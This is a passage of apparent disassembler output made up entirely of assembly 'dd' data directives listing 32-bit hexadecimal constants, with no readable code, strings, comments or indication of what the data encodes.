2C73440Ah dd 0C010AEC0h, 47E79607h, 3D8D101Eh, 0C13AF1C7h, 59929996h dd 44B47D6Ch, 0F57BDAE5h, 62A4C895h, 19A43240h, 0C4F6CD7Dh dd 416CF0C5h, 6A17A592h, 49CEA071h, 2446EDD8h, 231AFFDh dd 15F2B875h, 10341F71h, 3105468Dh, 0DCCC8E03h, 1A16A4DAh dd 0D1E4AA4h, 91DB4721h, 6A99D4Eh, 1F627884h, 49E7C27Fh dd 0C173BD31h, 9C5C4815h, 0CC4C4D7Ch, 0C5122051h, 0EABA82C9h dd 0FD352B23h, 439E7C9h, 53DBA191h, 20125B38h, 18C9341Dh dd 0B40A808Bh, 4F1EB3B1h, 28EA7CD1h, 36616F4Dh, 1F42F8A5h dd 0FF9D3429h, 3B8D9A5Dh, 0C12C210h, 0E7AAB7D3h, 333637C9h dd 241D1090h, 3A3750BDh, 87FDF748h, 604C4477h, 0EDBA7A7h dd 349CA0CBh, 0CB15F63Fh, 73CE6279h, 3A0B4720h, 0FD4003Fh dd 7CA7E5B2h, 0BD70D08Bh, 14EF4946h, 635D2134h, 0E4644E26h dd 4CA3C801h, 0F7A3784Fh, 0CE7782D8h, 18DE6CC5h, 26757F39h dd 0EC2EC8B9h, 5C7C30DFh, 0C6BAFB54h, 6A6C8E18h, 9B3638FEh dd 0AC8AA298h, 2E87615Bh, 63505097h, 0B91315C6h, 95ECE05Ch dd 64050816h, 5977F1E1h, 24C6C6A5h, 7C2038EEh, 61FFA8CBh dd 2CD01993h, 0A2B3D53Eh, 345CA08Ah, 0CB55FDC1h, 0E17DA737h dd 0E446A881h, 533193BDh, 94E27825h, 0F21D5504h, 102E18C7h dd 9CA6714Fh, 0F418A021h, 0D997A0C1h, 0A4A64725h, 895E10D8h dd 34DFA589h, 0FEA090E7h, 0B163DE2Dh, 5C2C2EF8h, 0E4DADEB7h dd 9927B260h, 64360751h, 9AE16F95h, 0D2C2F824h, 7C5107ECh dd 0C8B698B7h, 4BACF005h, 3FB90700h, 88669292h, 0DB96B4A3h dd 6CDADAA8h, 0D35A3B8Bh, 0A18000D9h, 94D6B992h, 6191E975h dd 347A3635h, 734D5DF9h, 0E40A50A0h, 750310ADh, 0D1EC21B5h dd 0A0B4EE1Dh, 0D1C118DBh, 9C9C4E6Fh, 70D508B6h, 4C2822B4h dd 0A473105Ch, 4949D01Dh, 54023174h, 0BEDD0DE0h, 0ECAEC838h dd 0A303C553h, 8B5C3520h, 398E0E1h, 64E428BBh, 2CD8118Dh dd 4082E8DAh, 6CD14141h, 328B6777h, 9D6CE0FBh, 74BBD8D7h dd 1883F061h, 0DB04F8C5h, 6C9B4668h, 8D322D4Bh, 0A4280DECh dd 7B8E58F4h, 0CCE21AA0h, 0B7C8E383h, 9C660F6Ch, 0CDB3B81Fh dd 226795E0h, 6B3268ABh, 0FC8FC29Ch, 4B3E9D57h, 9C4DF921h dd 0F8DA43F3h, 7C1720CAh, 0BA59FD00h, 7942D0CDh, 54C2696Ch dd 0C620EA78h, 0FB6CB2C6h, 4C833E80h, 4BF20B63h, 0D3864BEh dd 0E93538FFh, 0ACEAFBD8h, 4652829Bh, 9205BFBAh, 41DE8809h dd 5CA9FF45h, 0F97A48D2h, 0DCD62C9Ch, 0CC1E496Fh, 839BAA81h dd 0D4B23C63h, 0CA2B5E59h dd 0D06A6C2Eh, 0E21E250Ah, 89670853h, 8C287E0Bh, 0F96EB96Eh dd 0B12BEFD7h, 843CEFEEh, 8470AAC9h, 44BE1803h, 9F32337h dd 0F44AF7B9h, 588C648Ch, 0E61EEDC2h, 0F314D08Dh, 1019225Dh dd 4C21941Dh, 564DA8Fh, 4E7E7AC7h, 0F0C18B69h, 0ED98E855h dd 6C86F9B0h, 98F09B5Ch, 4430174Bh, 5318FD24h, 0D87698E7h dd 39ECF045h, 54427EBDh, 0ECA680CFh, 1F3DD15h, 595C6853h dd 0A75788B3h, 658F4A13h, 0D30E7829h, 0E266254Ah, 0F02B0813h dd 8CF860FDh, 0B316B8F5h, 3601EFBEh, 1FE27804h, 0FC255004h dd 0A77E72D7h, 91051B3Eh, 0F41F2022h, 694E20C1h, 0F3B6726Bh dd 0C23E45A2h, 90D128BBh, 0A74BD0F5h, 4EEDF2Fh, 0FC81BD95h dd 0E38A98FDh, 64D1F62h, 0E1262840h, 3120EE0Dh, 4FDA0AEh dd 0FCB5C369h, 0C45E88A2h, 5DEB7D88h, 0BAD14843h, 9A19A0CBh dd 220307BCh, 0FFE44002h, 0FB4CA873h, 0A17E8B48h, 94F11092h dd 2E110075h, 547A7D6Dh, 73424AF9h, 0F374D9A0h, 4BD9194Eh dd 1F4883FAh, 613EEB86h, 5401502Ah, 1B2883E5h, 0A76323C4h dd 72D2B57Eh, 19F678DFh, 0FCD4C56Ah, 3C385C6Ah, 0AC60F589h dd 3A044DF8h, 0E17C3045h, 0B45AC9E4h, 0CB8994F1h, 74F857BAh dd 0BC34908Dh, 53072EDBh, 6CD05068h, 3BE0909Eh, 9CE9373Ah dd 74BA5806h, 9188A061h, 2956FC6Dh, 12841FF7h, 0F49CC724h dd 406066F6h, 0A5EB3E8Eh, 0A8FCFF15h, 144F65EAh, 0EF580FA5h dd 86A3D47Ah, 5960711Fh, 0B468659Ah, 0CC90E029h, 318D3818h dd 0EE291DC8h, 86FBAFD3h, 6D864525h, 0C1647282h, 88EAB5B1h dd 27A14D47h, 0C400F915h, 7D1EA8A6h, 38D25135h, 0C472ED43h dd 6D2C83D4h, 448A4C91h, 0D295E43Eh, 732C81FFh, 61BD60D3h dd 0B0BFCF3Dh, 724598E6h, 181B68B4h, 0ADAC804Dh, 4A77D816h dd 150A70D9h, 0F8C6C06Ch, 5E6F6679h, 0ED3C3E87h, 0AFF8DE90h dd 43CA4163h, 0B64C09F0h, 8CD1B2D2h, 1CB16248h, 0B4471A1Ah dd 0C005AFB0h, 2DCC7E37h, 0EF681E00h, 9B19E88Ch, 6C89456Ch dd 0CDD60C06h, 9530F0EEh, 74B34D86h, 0DFC7F470h, 704FB4A7h dd 0FDD411B0h, 0A0E3C481h, 9ADF0D7h, 6CEA50EAh, 0E5E362AEh dd 0C581D2F0h, 0FF08F3A9h, 0E108BA58h, 0D0B09E66h, 743A8AFFh dd 0CC88A0E1h, 24D6F82Fh, 7C24507Dh, 0D472A8CBh, 2CC00019h dd 840E5867h, 0DC5CB0B5h, 34AA0803h, 8CF86051h, 0E446B89Fh dd 3C9410EDh, 94E2683Bh, 0EC30C089h, 447E18D7h, 9CCC7025h dd 0F41AC873h, 4C6820C1h, 0A4B6780Fh, 0FC04D05Dh, 545228ABh dd 0ACA080F9h, 4EED847h, 0DF5C3095h, 0A4C83046h, 0A95BE031h dd 64367AC3h, 0FFC39FCDh, 0C91650Fh, 6A5BF766h, 80D548B4h dd 5E87D421h, 4FE33A5Fh, 0D83BA8E3h, 0F82BA64h, 0E96D5C7Fh dd 0D422EA33h, 6E3C8550h, 81255837h, 3E3472F6h, 30A8691Ah dd 0D33DE811h, 0C06A87Bh, 3C5410C9h, 94A27793h, 60754D49h dd 1D3E08B4h, 90F868DCh, 16DE08B0h, 0D8ADDF76h, 6776688Dh dd 71C709EAh, 54020C34h, 0DC9F905Ah, 87AE57FBh, 0AA1E34BDh dd 97C6152Ah, 361BE0E1h, 4FE34C3Fh, 0AC4693BFh, 4C7EA656h dd 56531E72h, 3B1AEC77h, 0E36F1BF7h, 23525861h, 0E7F75F9Eh dd 98DBD361h, 24A440BFh, 17C6E348h, 6ED88516h, 14958F7h dd 0DCCCF2A1h, 342A0883h, 8C785C39h, 7043331Fh, 0D414002Fh dd 6B9D9E12h, 0ECB0D8E1h, 0D0439B57h, 9C4C60E7h, 6913C086h dd 4CF80449h, 29C9E464h, 0FC949249h, 0CC57A7E8h, 2520903Bh dd 142C4C52h, 5CBFD815h, 7D398863h, 8CCB6B72h, 36A638FFh dd 430A7DA5h, 0A8D7EB64h, 6F9050ABh, 0C8A41BE1h, 1BA8FF85h dd 0F77A48D2h, 0C3C8B05Bh, 241605EBh, 7026DBBDh, 2A7A405Bh dd 0A903FFA6h, 845E1A1Bh, 56CC76F6h, 3413884Bh, 75B879E5h dd 0A485CCF1h, 745FE1C6h, 4BC3E97Ah, 6DAF1F16h, 8F25CEEh dd 0C5E00565h, 0DD90098h, 0FB272FFBh, 0C2F6784Fh, 0CFBAA81Ch dd 0FF1727D9h, 0FAE08039h, 712EE204h, 4C36BBD0h, 0BE418AC8h dd 0E4491172h, 9B99C6CDh, 0FE08250Eh, 91AFE84Bh, 63AB3869h dd 0C49E1C73h, 0A0590F45h, 243A58D1h, 3376F509h, 9853FBD0h dd 0F324403Fh, 0C430144Eh, 8C40319h, 86CEDB34h, 6A536B86h dd 0B4B8EB0Bh, 4DAB4098h, 0CD429CBBh, 30BD34F1h, 7FA2331Fh dd 0E3CB4160h, 30A3A300h, 3437F11Bh, 80C1A636h, 1593A1F7h dd 0D049D934h, 2AFF5173h, 20FE9D89h, 3F5B01DFh, 701D80AEh dd 21C7B18Bh, 0C079D00Ah, 4A236127h, 10C71D40h, 8C8F11C3h dd 6023CD24h, 0F485BF6Fh, 9F5E88F5h, 0E35381ECh, 0B67916ACh dd 32A749B5h, 26550710h, 94BC5457h, 2BCD5DC2h, 0AB99551h dd 3CA85837h, 3E1EA844h, 3669EC03h, 0E61306F3h, 0CAEEE059h dd 0BFABEF58h, 45256039h, 4A8C523h, 0BBC1EDB6h, 0EF8F8A65h dd 0F68A7838h, 5C0E1904h, 839DD2CFh, 569CB877h, 2111D2EBh dd 447130A1h, 0FB512D06h, 5CFC31EDh, 0C0980CA3h, 0F27831FCh dd 8F10D3F5h, 0BC342888h, 0F62968DBh, 0F95D8396h, 0C40EA1E7h dd 0C69B27EEh, 0F03FBFD0h, 0CC08B058h, 2B5EF8AFh, 9C659068h dd 56775E40h, 2D4010A0h, 89E85E92h, 0CF3795BCh, 0DA88D75h dd 0F97A60C1h, 0D5CBDE19h, 5A10FB48h, 0F24769B6h, 130C28A2h dd 775E7A8h, 30D9F991h, 5F9AD8B1h, 0C86DD782h, 0A43668B6h dd 0F38CD0DDh, 0E8D6E8BEh, 53BC68D3h, 91E72738h, 5CAC72A5h dd 8D880D95h, 7959E0A1h, 8F9737FBh, 1734BB4Fh, 90C71F58h dd 6C9050D0h, 0B0D69837h, 62A97AA2h, 0B57A58EAh, 0C1AEABC1h dd 8F70BDE4h, 0F6CEA80Dh, 0C48BD68Eh, 37E0C159h, 0D2A3FA2h dd 1CAF1BF3h, 2601A325h, 89B70429h, 610C13DFh, 3CC42953h dd 74E3307Fh, 2AB36BD1h, 54998C92h, 0B9E77965h, 0D4B13403h dd 4C439867h, 0BD1DD329h, 141CD4F7h, 0AB6DDCE2h, 6D3284B4h dd 148D067h, 0F71AF05Ch, 247A8BC8h, 540D8ADBh, 9B95C857h dd 283110F2h, 1202F87Ch, 1F58BA29h, 0B04C1CD8h, 68260E86h dd 0F0B650h, 0B8425E26h, 501C06F6h, 8EEAE71h, 0A0B856C4h dd 0C739B016h, 2E89E8ACh, 18B76B05h, 0F441FDB3h, 301398E1h dd 60C34F5Ch, 3C9400D4h, 24E2681Bh, 0E832B50Fh, 0BA3195D3h dd 0A5B0D5AFh, 5F7CC863h, 396DDC41h, 24B6C808h, 56442F12h dd 0ABAD4A43h, 28257706h, 4EEC87Eh, 3A3C30D5h, 0C1BBEE5Bh dd 6AF15433h, 6E3E88D4h, 0AC4DEE48h, 1722281Bh, 932DA8C3h dd 4CEE6748h, 252875F2h, 0F4FA4843h, 0CE3DA0A1h, 811C7E5Fh dd 7CF46941h, 28B203EDh, 9C8775DCh, 7B81D827h, 51DF1A35h dd 2453987Eh, 73B58811h, 61F147A0h, 3C442929h, 84A268FBh dd 8C40C33Dh, 0C0BBEF3Dh, 9C8C60DCh, 80D2C833h, 0C77D9886h dd 0EBDD7823h, 0C54055EAh, 5411287Bh, 286F81B9h, 4AED8F7h dd 0F756D8E5h, 0F6D6352Ah, 0C070E0E1h, 0D419C7C1h, 359F3A65h dd 4C04866h, 926DA829h, 41E96788h, 1C7CC941h, 74BA4810h dd 49FFBA15h, 2446C12Bh, 7DA450FDh, 0FA1AA23Fh, 0C4BFFF67h dd 7B71A67Ch, 77765985h, 76B68D08h, 43F360C1h, 594F7034h dd 3C0452C9h, 2C9E2032h, 0DA4FA46Eh, 223E2BFCh, 18C9870Eh dd 0F79AD8CAh, 38E82041h, 26B38E9Ch, 7C84C0E4h, 0FE3A225Fh dd 44DF7F84h, 0FB91269Ch, 0D5D857ADh, 74392345h, 89AF4BD7h dd 64B6017Bh, 0BCF4904Eh, 91B4B2EFh, 6C80796Bh, 2CD4EDB7h dd 0E3D30D04h, 8B847A3Bh, 31CA48DEh, 4A60790h, 839F4455h dd 0B28B4BF4h, 4A15FFE1h dd 0FE5C90Ch, 0CCA53460h, 0C338FF43h, 8C386353h, 0C92CDDFh dd 0C32BECF1h, 7ACA77CBh, 8A8F3F33h, 22ABE7AFh, 17A7E1CEh dd 50DF437Ch, 67A83043h, 58BEF187h, 0C5C0556Ah, 549128FBh dd 94948039h, 3DAA5D70h, 5C7C30C5h, 98BE8E23h, 359C6586h dd 646638AFh, 0B6C1910Dh, 0EBFF2AB3h, 911BA856h, 41696708h dd 1CFCC9C1h, 703A4893h, 6060AA95h, 0CC2907D2h, 83DBAD1Ch dd 0EDF62D3Ch, 2CC40009h, 937A5867h, 23A1265Dh, 0F483B0FCh dd 3453A8AFh, 0E0327897h, 0C4E1A846h, 7C490FD0h, 13CF3DF6h dd 7DFA9D20h, 9CC47035h, 866FC873h, 75EA9D41h, 0D0B6781Fh dd 1613834h, 7DEAD754h, 0A669A9E1h, 14D7A6E2h, 5FD8F095h dd 8DF42DE9h, 0E473E021h, 9BD9C534h, 36DE217Dh, 4FB6A9Eh dd 50F8EA69h, 0CBA1674Ah, 25D275B3h, 70774843h, 0D08A461h dd 0A926F00Fh, 7D54FB5Bh, 0F4DAFF21h, 57FFF24h, 3CA87C1Bh dd 2B454B97h, 24538C46h, 8CB87011h, 5401CC5Fh, 8432BAE4h dd 75A0928Eh, 10186B2Fh, 0F4C1E76Bh, 5CBFDA0Dh, 7C674198h dd 0BB2830C3h, 0B44FFC4Ah, 0FCC4F01Dh, 3055D6Bh, 539C5E51h dd 0CB2582F8h, 96D768E5h, 8D360DA9h, 4611E0E1h, 0AC0E92C3h dd 0DACB6F71h, 0E3426963h, 7CE9C4ACh, 0C41ED877h, 9C6F84C5h dd 0D1B060D7h, 0CC18991Dh, 99DF53C9h, 7CB41271h, 50775FE0h dd 2C4010A0h, 0F1CE58E7h, 0DE8C003Ch, 24137406h, 98FCAD1h dd 0E4D6819Bh, 3C1410EDh, 2CD263CEh, 0D5CD4503h, 0AF541847h dd 0ADF41698h, 701F3FEBh, 4CE83078h, 0D036788Eh, 0F6AD60DFh dd 44EB558Eh, 0AFC44079h, 3D137DCDh, 0F7DA3005h, 448B3005h dd 35DC6546h, 66A638EFh, 0BE81904Dh, 0B148202Fh, 6C807994h dd 79573351h, 1C3CB22Dh, 7453D86Bh, 493F0B21h, 2406C1EBh dd 7C6450B5h, 0F45AD97Fh, 0DBFFFFA5h, 9477DC22h, 0DC98B0F5h dd 84E17D43h, 0F2BD6A29h, 4E86A8E6h, 0B9235DC6h, 943251FFh dd 0EC70C8C9h, 0FCD80962h, 390690E6h, 0F44AF1CDh, 8C9B8B67h dd 0C2E393E5h, 0F65CF925h, 44AB564Eh, 0AF044039h, 3D507D8Dh dd 0F71A30C5h, 8D4E0DD4h, 1C18E061h, 0DC0038BFh, 0BFC0508Ch dd 1E0A2CDBh, 7C693E0Ch, 0CB35FEF7h, 256E75F3h, 9C914883h dd 33775B4Eh, 1D527DD8h, 7C24506Dh, 0DA06E8CBh, 0A9C250A9h dd 841E611Bh, 27C9581Fh, 7B27F7FCh, 1C75E9AFh, 1346A8DDh dd 2CAD9468h, 94E2683Bh, 5C3CB409h, 0CDD5B23Fh, 8C8EC498h dd 1C1F2373h, 0B397DB20h, 5B4D12E7h, 788127A2h, 54523892h dd 0D9A081F9h, 0EAE684Ch, 4C054C10h, 0BB6122E3h, 0CC5B5857h dd 5D5A9D75h, 171290DDh, 0E368E9ABh, 7C29C4ECh, 0C65E98B7h dd 0EB838505h, 64C3CCD6h, 0C848A0A1h, 948C8DEFh, 2615AFDh dd 5E32B8B2h, 3CB9837Ch, 942E9927h, 5D7A0813h, 0DF6AB868h dd 86F8D019h, 0F43FC6DAh, 0B9A3BAADh, 94B2517Fh, 0ECF8C049h dd 0FC5808E2h, 39869866h, 0F4CAF14Eh, 4D988BE7h, 0ECC67024h dd 0C5B95517h, 0BCB8287Bh, 539F7A66h, 3D2A5DF0h, 5CFC3045h dd 0C1FB88B3h, 0B4FEC584h, 0C1ECC0BCh, 0BC24A9F0h, 0D4B143BDh dd 0FC6D6983h, 331E8835h, 0C557440h, 54BA4813h, 7D17D561h dd 424D13D8h, 76BC5945h, 0C4CBD5EEh, 2FA4C099h, 0BDF3FDEDh dd 77BAB025h, 76BAB5AAh, 4DF260C1h, 0A6561D95h, 9772107Dh dd 1160300Bh, 0ECA0F975h, 0BE87F0FDh, 19BB8F5Ah, 0F48AF177h dd 4DE82042h, 21C154FBh, 0FC94E959h, 50D2282Bh, 29D7A00Ch dd 47EE143h, 5FBC3015h, 6AE28216h, 0E4A71F48h, 9B59C2B4h dd 430E90A5h, 0EE030064h, 0E967BF16h, 0C4CEA1B3h, 142CF085h dd 0BDCA40A7h, 36E5488Bh, 0A1E10790h, 7C746939h, 0C4B2A80Bh dd 2BB02A2Dh, 0BD32DD8Dh, 3C5DB0E5h, 3C630559h, 293A60B5h dd 0E49681A3h, 0BCD7F4EDh, 7C896CBFh, 138F3936h, 0AC1479A7h dd 63F38992h, 14A570D5h, 75D4850Bh, 0F90785Fh, 3BD3675h dd 0D017DF14h, 8CE09000h, 702ED887h, 0D7BBBB91h, 0A48800AEh dd 85D9CB71h, 3CD6C4FEh, 85C81507h, 0FCA8E84Bh, 93AFB916h dd 0FD1A1D00h, 1CECF055h, 784E48D3h, 0FD81887h, 1DAA7D25h dd 76CF506Dh, 348D10ADh, 15BCA513h, 2F685877h, 23A5265Dh dd 0B02FFFFCh, 8FF87068h, 9047B89Fh, 0B75B9BB2h, 84A0C8BEh dd 65F8EB89h, 8D4DE49Fh, 0A548F5D2h, 0F41AC863h, 421D2041h dd 9DCAFD82h, 0F48ED04Dh, 57ABA8EBh, 0A82D788Ah, 14CA9C8Ah dd 54DCF195h, 57210353h, 3D608637h, 28D5EBFh, 0D4F41F75h dd 14C2E8A3h, 0C776A16Bh, 0DDB33EFh, 0A4CAF670h, 0DF9C8862h dd 24E26311h, 0DB6901C4h, 4560D5CAh, 0D432A89Bh, 36F480D9h dd 14597ACh, 0DC0CF2C1h, 7CE3C0E8h, 75C788EDh, 27B647A0h dd 0C551F807h, 112F9704h, 0ECE0F9D9h, 7DBA9D60h, 9C8C70F5h dd 0F2AFE833h, 14D00BD6h, 0F7FD6124h, 0D73CFB35h, 0FC9FA3BBh dd 0AD6090FBh, 14EC5092h, 0D7C53155h, 3D4EACE7h, 1C88884Ch dd 0E85BB33Fh, 973480CFh, 4C0605Eh, 0E855B729h, 841E884Eh dd 686CF0C5h, 0DF62BF11h, 9A08A4A3h, 0E0EB7BF8h, 7CA440BFh dd 0D52B2C44h, 21A80099h, 0CF8E58E7h, 9992E270h, 1A183BCFh dd 8C342C95h, 0DAB42DE0h, 0B99D107Dh, 94722A63h, 0D0E84B5Ah dd 3701C054h, 0A80FFB8Dh, 0B6FD11Bh, 0F47DABBEh, 0FF3668CDh dd 758892DEh, 4490F4AEh, 0A4628379h, 468E5D4Eh, 2F373005h dd 34B9774Bh, 0E458E0B1h, 9B59CC0Dh, 0FE4C2DC6h, 0FC14E88Bh dd 936FB40Fh, 86660DBCh, 56A7F095h, 78304BDBh, 254B6E0Ah dd 449EF76Ah, 736450BCh, 0D4B3F28Fh, 90B50359h, 874E48E5h dd 0CCDEC840h, 0DCD6A443h, 8C9AE59Eh, 0A20BB8DFh, 44513B29h dd 97227839h, 4F9890CFh, 0C741E7E3h, 8C4EC8D8h, 0FF2FC8B3h dd 43A4673Ah, 0A4F763CCh, 0C5483B9Dh, 44D0907Eh, 0A1658F39h dd 72ED886h, 4C3E4850h, 8C4BEE23h, 8917C58Eh, 64663843h dd 97B6D086h, 0FC52DC18h, 93AFB4CFh, 862625CEh, 99E3F055h dd 743A4877h, 8E3425E2h, 0A1D5F83Fh, 7C341205h, 9359A840h dd 0E1420F15h, 0BF0E5867h, 5F53B8F2h, 34AA08C7h, 8FFAA0D2h dd 6145ACD8h, 3C845295h, 211D3869h, 0EC208251h, 7A4C8D28h dd 19967035h, 439FC7B3h, 0A56820C1h, 0A4B67893h, 790B2F61h dd 5452283Fh, 0A3B5BE79h, 4EE53C2h, 5D7ABB95h, 0E4BECBC8h dd 0F32B15D9h, 0DC9B0180h, 0C974808Fh, 0A847EB6Ch, 6F10502Bh dd 0D41CE032h, 0F8297905h, 0FFFA5811h, 10CD9BA1h, 5696E8ADh dd 9C616B35h, 0A632B8C9h, 2C803DB0h, 0B3BC2827h, 0DC1CAF9Dh dd 0C82485C3h, 8E93A19Ah, 0DF16FA5Ch, 2C16F428h, 17AE1DFBh dd 0DD0FD08Dh, 581A5C18h, 5F979B84h, 0B6424DBCh, 0C7482091h dd 0B434007Ah, 857381Dh, 0FD73D794h, 2C6080B9h, 4385D672h dd 67F54259h, 364580E4h, 0F3671FCDh, 0D6633776h, 37CB6F73h dd 0B303CCE7h, 6CD069ADh, 2BE16788h, 56EDB22Eh, 74BA2837h dd 0C3BEE81h, 0A372F424h, 6CE69478h, 1477214Bh, 0A14010DBh dd 84A7D05Eh, 0A459B335h, 522A18C1h, 0A736C574h, 0F084BBD9h dd 0FA185246h, 538A93FDh, 0ECB09388h, 44FE1D57h, 600AF9A5h dd 0A35996ACh, 7296B5BEh, 4CF7789Fh, 0E601DFC2h, 4D2282Ah dd 0C608EA2Dh, 0DAFB2738h, 0D9BC202Bh, 3C05D7A3h, 0C58E1B4h dd 9B42B417h, 0BCE578B2h, 7111E89Bh, 0F9069Dh, 0A7BBCB52h dd 684582F0h, 8B7A09AAh, 0DC8AEC94h, 1683076Fh, 0F5644083h dd 0C4F0FC8Eh, 2C19E859h dd 0E11D58A7h, 0B9F7D1A1h, 51847F0Ch, 0E55013E3h, 8DF4E8AFh dd 59B8795Bh, 0C3220D1Ch, 13989D21h, 44ADF0E8h, 0F95F7065h dd 8029ADE1h, 1CCD526Eh, 0CD80113Dh, 9923B5F1h, 6B7A7FEBh dd 441F7FD1h, 42ED895h, 3D3E5586h, 0C4BFE340h, 7A719221h dd 30354D6h, 54E39068h, 0EBFD0079h, 6C505841h, 87FBCBF7h dd 7B82912Dh, 5506F6h, 9CF1C688h, 4DA0915Dh, 19433511h dd 2B9AFFCBh, 7C3FFFFEh, 148BD533h, 0B65CA088h, 35C05867h dd 666D9F06h, 6D46A8A1h, 0A96B34D1h, 94F2561Dh, 51BD00A3h dd 446E599Fh, 639C2075h, 0E42758C6h, 4C6948C1h, 0CEE2780Bh dd 69FB875Ch, 54426AFFh, 0FBA4EAADh, 46BA4DB8h, 98BF3085h dd 0F83F77F7h, 0F3D8F073h, 74185AEAh, 31B7CFCDh, 483A0AEh dd 0F9EF1669h, 0C44EA6D1h, 13530886h, 74FAF3D7h, 94CD29A1h dd 4E96E8ADh, 0E91B063Dh, 0D4229629h, 0A88FC05Ch, 84CE5883h dd 8C4C705Eh, 5E3A0BA9h, 8CB80810h, 1B50785Fh, 2C6A5238h dd 6B5AEBFBh, 0EAF74446h, 0C1B71897h, 9C9C32B9h, 0B6BA45BEh dd 0D9A52091h, 0A4663AA7h, 0FCAE824Ch, 3A87D73Bh, 2F609087h dd 80A127FFh, 5CFC3580h, 1B588C9h, 0C88A2ADh, 5A8CADC0h dd 44B7909Dh, 0AA06E724h, 0E5D0402Ch, 0D45CE8F2h, 1FA5C3C5h dd 25EA19D0h, 3359A40Bh, 3414A41Ah, 3A31AFFDh, 51F2B875h dd 0B6C40F59h, 0B78E58E2h, 0A85939FCh, 652A18C1h, 93103180h dd 0B4C6B71Fh, 29A8592h, 54E768ABh, 0E9E34406h, 0C1771857h dd 9C5C32DDh, 86717030h, 7632041h, 20B38FB7h, 0FC84C0E4h dd 21F2282Bh, 0C4A5837Fh, 376EC8D7h, 0AB7D33C7h, 3DEB7F92h dd 1C1A6434h, 4D2980FFh, 0F77F904Dh, 7CC7EBA7h, 5F9050F9h dd 331F9BE5h, 95CD0774h, 64383456h, 7BC76321h, 0C7EFFE24h dd 6437DD88h, 0C0F11F04h, 4749D05Ah, 544D7066h, 0ABC38A74h dd 4013662Ah, 8042E38Ch, 6F66CADEh, 7E5F2C66h, 84606B6Fh dd 13388444h, 859DC1E0h, 0DE7CF55Eh, 7F99C8A3h, 7FB80455h dd 1C74F78Fh, 3F44D09Dh, 5F79E760h, 0EDA83DB4h, 8FD2D897h dd 0F0B5030Ah, 0B2B8E91Fh, 0E6F9A4Dh, 58CC1893h, 8058E451h dd 28DF9C75h, 8FB835A9h, 0F99F133Eh, 1CA9A800h, 270743E7h dd 0C388F2A2h, 0DB29CBAAh, 4127DB82h, 973CE19Ch, 0D3E68416h dd 0D333A798h, 0D312E5F6h, 0CB551387h, 0CFAF5DAEh, 60498AACh dd 0C36BEFFDh, 0C0B13806h, 0E9B4CFC6h, 7781E728h, 62E198FEh dd 0E46F378Ch, 0B394DA29h, 5A9790F0h, 780B2FA2h, 0ABADD647h dd 0BA4852CAh, 0ECEED847h, 0A3C3CFF6h, 0B48A880Bh, 0E159BD31h dd 64360C6Ch, 0BC776A24h, 263D8C1Bh, 2E68F5E2h, 4D3A98A7h dd 222D9627h, 0F1F5121Eh, 0CC48A342h, 27AAA664h, 476536E3h dd 513DEDDBh, 2C80030Ah, 84D81BD0h, 0D31CB055h, 3469CE46h dd 0D0FB9611h, 5882B75Dh, 0B75410AEh, 349F60B8h, 0E35060E9h dd 443DB613h, 0BCAC4DE5h, 70D5E813h, 4C282322h, 0A4BEF344h dd 0EA27D01Dh, 0BB9AC03Ah, 21637F46h, 4BE9ABBh, 3D7FFE56h dd 0D5C988E3h, 9770E0B5h, 6B19C7C1h, 0BC37EA0Fh, 0D4276BDBh dd 6CD0506Bh, 4F16DAFCh, 0DD47E08Fh, 0B4894C60h, 40BA58Ah dd 0AD46B226h, 6CE6D078h, 0D8B8AB4Bh, 2D400021h, 3A6609E7h dd 0EC234FD3h, 24138A16h, 0BC58D1D1h, 0F4FF3BAAh, 0C2347A6Dh dd 801A3072h, 135664E1h, 4B2C9DA8h, 7E9FB231h, 0CD1E5DC2h dd 0A9032051h, 9DB2FD78h, 0FC84D0CDh, 76A6292Bh, 95A4058Eh dd 46DD8D7h, 50C93015h, 8D8E2DE2h, 0F3A7E0A1h, 6E4DC300h dd 85701DCCh, 1442E88Bh, 6AF848E9h, 9DDE9837h, 1C2CF6EDh dd 229210D3h, 46375FC7h, 342F84EAh, 56E0D6BDh, 0D4A29177h dd 157C85D1h, 64AC58B7h, 0E5183502h, 34E20853h, 854D6091h dd 0DDF8055Fh, 48D5103Dh, 10A79FBEh, 0EC70D0F0h, 30B61817h dd 0E0B1F07Eh, 0F15AD88Ah, 0F1289075h, 0A4E64132h, 7CE3A498h dd 44AB5656h, 32948539h, 3DAA5D70h, 5C7C30C5h, 0BDBE9823h dd 35645DF1h, 136438AFh, 78111384h, 1402F819h, 93A2E641h dd 39DD7008h, 6D040FBAh, 0FF3A4891h, 0DCCADC7Ch, 0A44BFB2Fh dd 9424403Fh, 2B8D5490h, 2E918416h, 31855867h, 0DC4CF2CDh dd 37965688h, 71A4888Fh, 66494760h, 3C9412D6h, 0F4C622BAh dd 67D0C089h, 47284A29h, 0E6CF645Fh, 709F3F63h, 4C6830F8h dd 0D196780Fh, 34B95949h, 0D95238E9h, 0BC99104Ch, 6C635347h dd 0AF3C2085h, 0D033DF47h, 81D8E03Bh, 743638CAh, 0DD163CDh dd 0E7C00B1Bh, 0E895B7CDh, 0C45E888Eh, 138CF005h, 74FAE6D7h dd 0E43B5FA1h, 0DB7B2907h, 0C471DBC2h, 5132B8C9h, 0B4040F0Bh dd 0FCE5827h, 0CC5EC8C0h, 242083C3h, 0EC9C2A90h, 0CFE6B85Fh dd 3E2718E7h, 0E6A1A1C8h, 847DFB5Dh, 0CF3E0887h, 8C9C1868h dd 7F8CBA33h, 0E9AB04BDh, 0A46668A7h, 9463531Dh, 5412286Bh dd 0AD68FA32h, 0F3ADD04Dh, 0D977C7D2h, 0B45ACA2Fh, 351C6506h dd 64A6382Fh, 0BE40908Dh, 6681F02Ch, 0E5E06925h, 0D45C5CC2h dd 341F7BC5h, 0F14D7812h, 0CC1899E5h, 2456F8EFh, 64535289h dd 28D9401Ah, 0C719FF66h, 0ACFD5BEBh, 8DD0C21Eh, 6B8EFBD5h dd 1CCDED88h, 6DC6A826h, 2C56D8D0h, 0CBC69BBBh, 7E81CF57h dd 45BF9FDAh, 97670A5h, 0F48AF171h, 9E812634h, 0B6022EF7h dd 1BD459BBh, 0AB080FC3h, 0E6ABDA86h, 1424DBCBh, 6538B5E2h dd 0B40A8873h, 4DD5C0B1h, 0EDB54DFAh, 0ACB654C0h, 7CC7EB9Bh dd 0EF9050F9h, 0C4DEF090h, 5F07F085h, 27FDC1FBh, 3BC8A021h dd 3429B8EAh, 7C6451BDh, 13B5DC0Bh, 8CA0081Ah, 1B9F807h dd 0DC8C8971h, 24EA0843h, 646A67E5h, 1B794F84h, 0F8599B77h dd 77227839h, 0C43B49CCh, 0C93515FCh, 